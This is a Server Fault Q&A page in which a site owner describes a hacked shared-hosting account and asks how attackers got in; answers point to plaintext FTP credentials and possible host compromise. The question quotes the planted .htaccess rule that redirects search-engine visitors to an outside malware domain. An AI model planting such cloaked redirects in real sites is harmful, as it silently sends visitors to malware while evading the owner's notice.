Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

My site has been hacked and at this point, I know some details, but I'm at a loss at exactly how it happened or how to prevent it in the future. I need your help in trying to dissect the attack so that I can prevent it from happening again. This is a little long, but I want to make sure I give enough info to help solve the problem.

Here's what happened.

A few weeks ago, I got an email from my hosting company, GoDaddy, saying that my site was using up too many resources and that they expected that a MySQL query was the culprit. The query in question was a search query that had 5-6 terms in it. The way that I had it set up, the more terms you searched for, the more complex the query became. No problem. I fixed it, but at the same time, GoDaddy also temporarily shut down my account and it was around 3 days before everything was back to normal.

Following that incident, my search engine traffic dropped dramatically, around 90%. It sucked, by I didn't think anything of it, writing it off to the query fiasco and figuring that it would return in time as Google recrawled the site. It didn't.

A few days ago, I got an email from a user saying that my site was hosting malware. I loaded the site directly in my browser, but didn't see anything injected into the page. Then I checked my .htaccess file and found the following:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Cute. And a little devious. Navigating directly to the site from the address bar or a bookmark, what I usually do, would load the site as normal. Rarely do I ever go to my site through a link from a search engine, so that's why the hack went undetected as long as it did. The malware also wasn't hosted directly on my site.

A quick search showed that other people were also having the same trouble, though I suspect that there are a lot more who just haven't detected it yet. Most recommendations were to upgrade to the latest versions of the software, change passwords, etc.

Being as I use my own custom content management system and not the ubiquitous Wordpress, I dug a little deeper. I scanned all of my files for the common functions used in PHP exploits: base64_decode, exec, shell, etc... Nothing suspicious turned up and no extra files were present.

I next checked the GoDaddy's file manager history and found that out that the .htaccess file was changed on the exact same date as when my search query was accused of using up too many server resources. It could be an unfortunate coincidence, but I'm not completely sure. The redirect in the .htaccess file doesn't seem resource intensive and the query was complex enough that it could have been resource-intensive.

I wanted to be sure that my code wasn't the problem, so I checked the traffic logs for suspicious activity around the time that the .htaccess file was modified, but didn't see any GET or POST activity that looked abnormal or like a hack attempt.

Finally, I requested the FTP logs from GoDaddy and found that there was unauthorized FTP access at the time the .htaccess file was changed. I was on vacation at the time, with my computer physically shut down, and there is no one else with access credentials. It looks like whoever FTP'd in used the primary FTP user for the account, but with an IP of 91.220.0.19, which looks like it's from Latvia.

On shared hosting, it appears GoDaddy automatically assigns a primary FTP username based on the site URL. It's extremely predictable, or at least, it was when I set up my hosting account. I first signed up for the hosting account several years ago, so it may have changed, but from what I remember, I wasn't able to choose the primary FTP username. Currently, you are also unable to change the username and it sounds like GoDaddy is unable to either, unless you cancel your account and resign. While you can create, delete, and edit other FTP users, the primary FTP user can't be deleted. Only the password can be changed.

With the exception of the primary FTP username, all of the access credentials for the site, the database, the admin, and the account are gibberish, random usernames and passwords that look like your cat walked on your keyboard. Ex: lkSADf32!$asJd3.

I have thoroughly scanned my computer for viruses, malware, etc. in case it is the weak point in the link, but nothing has turned up at all. I use a firewall, an anti-virus program, and try to use safe browsing habits.

When I update my site, I use Core FTP LE and an SSH/SFTP connection. The hosting account is a Linux setup.

In talking with GoDaddy tech support, they're not sure how the FTP password was compromised. On shared hosting, they are unable to place an IP block at the FTP user level. They are also unable to change the primary FTP username. When I asked if they have brute force protection around FTP access, the tech sounded unsure at first, but then said they did after I rephrased it a few times. However, I think I remember asking that same question in a previous call and hearing that GoDaddy doesn't have brute force protection on FTP access. At this point, I don't know if they do or not.

I've changed all of my access credentials across the board and also banned the Latvian IP address using the .htaccess file (probably won't make a difference if they're using FTP), but I'm still not sure how the FTP password was compromised to begin with.

I'm fairly certain that the problem wasn't with my code (even if it was, the FTP info shouldn't have been exposed) or with my computer. What I suspect, but don't know how to prove, is that the FTP password was brute-forced as the username was predictable. The brute-force attack could also have coincided with the server resources being used up (blamed on my query), but I don't know enough of the technical side of servers to know if that's possible or even likely.

Now I feel like I'm at the end of what I know what to do. I'd like to be able to understand how the attack was carried out and how to prevent it, so if you have any further ideas on attack vectors, diagnostics that could be run, or additional security measures, I would be very grateful. I'm more than willing to change hosts or ditch shared hosting, but I want to make sure I can prevent this from happening again.

Help me, Obi-Wan Kenobi...

share|improve this question
add comment

2 Answers

Easy! Don't use FTP. It transmits the credentials in plain-text and transmits all data in plain-text. It's one of the most insecure ways to transfer files. If your host doesn't support any other ways, find a new host.

share|improve this answer
    
+1 - You can't get a direct point-to-point connection to your hosted server. By definition your cleartext FTP logon will have to transit untrusted networks. You got owned because your credentials got logged somewhere along the way at one time or another. (In fact, ddds are good that the attacker who modified your site wasn't the one who captured the credentials. You probably got logged by an undetected sniffer running inside an ISP's network and added to a database of credentials that are bought and sold...) On today's Internet you CAN'T simply live w/ clear-text authentication. Period. –  Evan Anderson Sep 14 '11 at 21:39
    
I don't, actually, I've used SSH have for over a year without using FTP once in that time. However, even though GoDaddy provides other ways of transferring files, it doesn't allow you to delete the primary FTP user. Like I said, I'm fine with switching hosts, I just want to figure out what happened. How would someone listen for FTP credentials? –  Dear Abby Sep 14 '11 at 21:45
    
@Dear - The FTP user and password would be in plain-text in the packets. Any program capable of capturing packets would reveal it. Evan's comment explains it well. –  MDMarra Sep 14 '11 at 21:47
    
@Evan - So the solution would be: don't ever use FTP and ditch shared hosting? Or can you use SSH exclusively and still be safe with shared hosting? –  Dear Abby Sep 14 '11 at 21:47
2  
@Dear - If a host can't disable FTP for my site, I wouldn't want to use them. –  MDMarra Sep 14 '11 at 21:48
show 4 more comments

Something twinged as familiar while reading through your post. Then it hit me: I had seen this before, over a month ago, when trying to access a site for a game. See here - same behavior, the redirect action taken just on search engine referrers.

The domain name in your .htaccess looked familiar because my home computer's antivirus had made loud noises about it to me weeks ago.

And, wouldn't you know it, the host of the site that I'd observed this on? GoDaddy.

I don't think you got brute-forced or had your password compromised through any fault of your own; I think GoDaddy was the one compromised here. And I wouldn't put it past them to store the FTP passwords in plain text. Some more digging found this article suggesting the same; brute force protection may be the least of their issues.

share|improve this answer
    
I'm assuming the OP changed the FTP credential. Hopefully they're not using cleartext password storage. That would be-- ahem-- rather disappointing. –  Evan Anderson Sep 14 '11 at 21:56
    
@Evan Check out the article linked in the last paragraph, though; seems to support the "blame GoDaddy" theory. What that means re: their password encryption is just an interesting exercise in imagination. ;) –  Shane Madden Sep 14 '11 at 22:02
    
After looking at it all again, I connect through SSH. However, the credentials that I have to use are those for the primary FTP user. There is no way to setup a user solely for SSH without it also working for FTP that I can see for the shared hosting. –  Dear Abby Sep 14 '11 at 22:18
    
@Dear When you login through SSH, the credentials are encrypted in transit. They'd only be vulnerable to being sniffed on the wire when connecting via a non-secure protocol like FTP or HTTP. –  Shane Madden Sep 14 '11 at 22:22
2  
Upvoted if for no other reason that that you had the patience to read the whole post. –  Wesley Sep 15 '11 at 3:17
show 7 more comments

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.